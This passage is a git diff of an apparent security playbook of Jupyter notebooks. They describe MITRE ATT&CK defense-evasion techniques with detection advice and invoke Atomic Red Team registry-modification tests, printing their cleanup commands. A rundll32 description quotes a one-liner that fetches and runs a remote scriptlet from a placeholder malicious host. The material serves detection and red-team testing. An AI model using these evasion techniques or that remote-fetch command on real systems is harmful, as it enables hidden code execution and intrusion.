"1b8f3587", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Account \n Create an account that is used for active defense purposes. \n\n A decoy account is one that is created specifically for defensive or deceptive purposes. It can be in the form of user accounts, service accounts, software accounts, etc. The decoy account can be used to make a system, service, or software look more realistic or to entice an action.\n#### Opportunity\nThere is an opportunity to introduce user accounts that are used to make a system look more realistic.\n#### Use Case\nA defender can create decoy user accounts which are used to make a decoy system or network look more realistic.\n#### Procedures\nCreate a user account with a specified job function. Populate the user account's groups, description, logon hours, etc., with decoy data that\u00a0looks normal in the environment.\nCreate a user that has a valid email account. Use this account in such a way that the email address could be harvested by the adversary. This can be monitored to see if it is used in future attacks.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1085.ipynb b/playbook/tactics/defense-evasion/T1085.ipynb deleted file mode 100644 index 9c7f9c3b..00000000 --- a/playbook/tactics/defense-evasion/T1085.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "247ea258", - "metadata": {}, - "source": "# T1085 - Rundll32\nThe rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)" - }, - { - "cell_type": "markdown", - "id": "02255dc1", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bef83136", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1088.ipynb b/playbook/tactics/defense-evasion/T1088.ipynb deleted file mode 100644 index ce9f9025..00000000 --- a/playbook/tactics/defense-evasion/T1088.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e1d21eb2", - "metadata": {}, - "source": "# T1088 - Bypass User Account Control\nWindows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)" - }, - { - "cell_type": "markdown", - "id": "3077d83b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "3c4c5496", - "metadata": {}, - "source": "## Detection\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1089.ipynb b/playbook/tactics/defense-evasion/T1089.ipynb deleted file mode 100644 index 16c57328..00000000 --- a/playbook/tactics/defense-evasion/T1089.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8bb41d66", - "metadata": {}, - "source": "# T1089 - Disabling Security Tools\nAdversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting." - }, - { - "cell_type": "markdown", - "id": "3948efb7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "98bf8073", - "metadata": {}, - "source": "## Detection\nMonitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1093.ipynb b/playbook/tactics/defense-evasion/T1093.ipynb deleted file mode 100644 index a23bd303..00000000 --- a/playbook/tactics/defense-evasion/T1093.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "c6f87983", - "metadata": {}, - "source": "# T1093 - Process Hollowing\nProcess hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)" - }, - { - "cell_type": "markdown", - "id": "079dd28f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5eb520f5", - "metadata": {}, - "source": "## Detection\nMonitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1096.ipynb b/playbook/tactics/defense-evasion/T1096.ipynb deleted file mode 100644 index c1620cb6..00000000 --- a/playbook/tactics/defense-evasion/T1096.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d646b757", - "metadata": {}, - "source": "# T1096 - NTFS File Attributes\nEvery New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)" - }, - { - "cell_type": "markdown", - "id": "728ae608", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "31184a3e", - "metadata": {}, - "source": "## Detection\nForensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1099.ipynb b/playbook/tactics/defense-evasion/T1099.ipynb deleted file mode 100644 index 67e72ac1..00000000 --- a/playbook/tactics/defense-evasion/T1099.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "35a14385", - "metadata": {}, - "source": "# T1099 - Timestomp\nAdversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)" - }, - { - "cell_type": "markdown", - "id": "40c3d71b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7dc9a509", - "metadata": {}, - "source": "## Detection\nForensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1107.ipynb b/playbook/tactics/defense-evasion/T1107.ipynb deleted file mode 100644 index 81295c9b..00000000 --- a/playbook/tactics/defense-evasion/T1107.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "03e86ee7", - "metadata": {}, - "source": "# T1107 - File Deletion\nAdversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)" - }, - { - "cell_type": "markdown", - "id": "310ab402", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "759fb436", - "metadata": {}, - "source": "## Detection\nIt may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1108.ipynb b/playbook/tactics/defense-evasion/T1108.ipynb deleted file mode 100644 index 15fdd3c2..00000000 --- a/playbook/tactics/defense-evasion/T1108.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bcdabf80", - "metadata": {}, - "source": "# T1108 - Redundant Access\n**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server." - }, - { - "cell_type": "markdown", - "id": "085316b8", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2f159632", - "metadata": {}, - "source": "## Detection\nExisting methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1109.ipynb b/playbook/tactics/defense-evasion/T1109.ipynb deleted file mode 100644 index 71a76e67..00000000 --- a/playbook/tactics/defense-evasion/T1109.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "54527157", - "metadata": {}, - "source": "# T1109 - Component Firmware\nSome adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks." - }, - { - "cell_type": "markdown", - "id": "17c9b0fc", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a741a168", - "metadata": {}, - "source": "## Detection\nData and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1112.ipynb b/playbook/tactics/defense-evasion/T1112.ipynb index 2f6c41a4..3746e9d7 100644 --- a/playbook/tactics/defense-evasion/T1112.ipynb +++ b/playbook/tactics/defense-evasion/T1112.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ab00bcae", + "id": "6116903a", "metadata": {}, "source": "# T1112 - Modify Registry\nAdversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication." }, { "cell_type": "markdown", - "id": "bb914248", + "id": "6011c564", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4f6c157d", + "id": "0952cec5", "metadata": {}, "source": [ "### Atomic Test #1 - Modify Registry of Current User Profile - cmd", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1c061e26", + "id": "fb56057c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8b1b8bde", + "id": "24804b03", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideFileExt /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "22bc2990", + "id": "c40a0a41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "681333ac", + "id": "33f3bed8", "metadata": {}, "source": [ "### Atomic Test #2 - Modify Registry of Local Machine - cmd", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "77be59a3", + "id": "60f7f2f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7e6a12ce", + "id": "995085c6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SecurityHealth /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5eeda356", + "id": "e29407f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "73b077e0", + "id": "42f9c0ad", "metadata": {}, "source": [ "### Atomic Test #3 - Modify registry to store logon credentials", @@ -97,28 +97,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dbd7196d", + "id": "c2243b5a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "31ba65bb", + "id": "c350203a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6d3d6d58", + "id": "b5cd8435", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "046b1a7f", + "id": "27211d8e", "metadata": {}, "source": [ "### Atomic Test #4 - Add domain to Trusted sites Zone", @@ -131,28 +131,28 @@ { "cell_type": "code", "execution_count": null, - "id": "20233da5", + "id": "b46b4cd6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "1f277228", + "id": "aa11ced6", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$key = \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\bad-domain.com\\\"\nRemove-item $key -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cebeb13c", + "id": "4e0b0840", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "a254bef4", + "id": "aea222b8", "metadata": {}, "source": [ "### Atomic Test #5 - Javascript in registry", @@ -165,28 +165,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ecacaa54", + "id": "bf412d06", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "e585edaf", + "id": "380e03aa", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name T1112 -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c19aac53", + "id": "540eebef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "ee08682b", + "id": "5d50cc4f", "metadata": {}, "source": [ "### Atomic Test #6 - Change Powershell Execution Policy to Bypass", @@ -199,28 +199,28 @@ { "cell_type": "code", "execution_count": null, - "id": "de3e33d2", + "id": "d8d6f3d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "0d585db2", + "id": "6d0114b0", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry { Set-ExecutionPolicy -ExecutionPolicy Default -Scope LocalMachine -Force } catch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "61093909", + "id": "1a68fd0b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "03244caf", + "id": "4c53f83a", "metadata": {}, "source": [ "### Atomic Test #7 - BlackByte Ransomware Registry Changes - CMD", @@ -234,28 +234,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f485938c", + "id": "f6b40f80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "da2ee01c", + "id": "4a1872ba", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v LocalAccountTokenFilterPolicy /f >nul 2>&1\nreg delete HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v EnableLinkedConnections /f >nul 2>&1\nreg delete HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\\ /v LongPathsEnabled /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bd90a007", + "id": "eadab90c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "53968da8", + "id": "001c5b91", "metadata": {}, "source": [ "### Atomic Test #8 - BlackByte Ransomware Registry Changes - Powershell", @@ -269,28 +269,28 @@ { "cell_type": "code", "execution_count": null, - "id": "36fe7b15", + "id": "11978707", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "2f82aa3a", + "id": "97427c58", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name LocalAccountTokenFilterPolicy -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name EnableLinkedConnections -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name LongPathsEnabled -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ddd780b", + "id": "817d75af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "3ee46b24", + "id": "5a381ebf", "metadata": {}, "source": [ "### Atomic Test #9 - Disable Windows Registry Tool", @@ -304,28 +304,28 @@ { "cell_type": "code", "execution_count": null, - "id": "88d6afe2", + "id": "2e6e54ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "dfd2e32f", + "id": "7a962662", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system\" -Name DisableRegistryTools -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ea191418", + "id": "9285a55e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "7cdeb4ca", + "id": "8c259a31", "metadata": {}, "source": [ "### Atomic Test #10 - Disable Windows CMD application", @@ -339,28 +339,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0e00dd2a", + "id": "456234c7", "metadata": {}, "outputs": [], 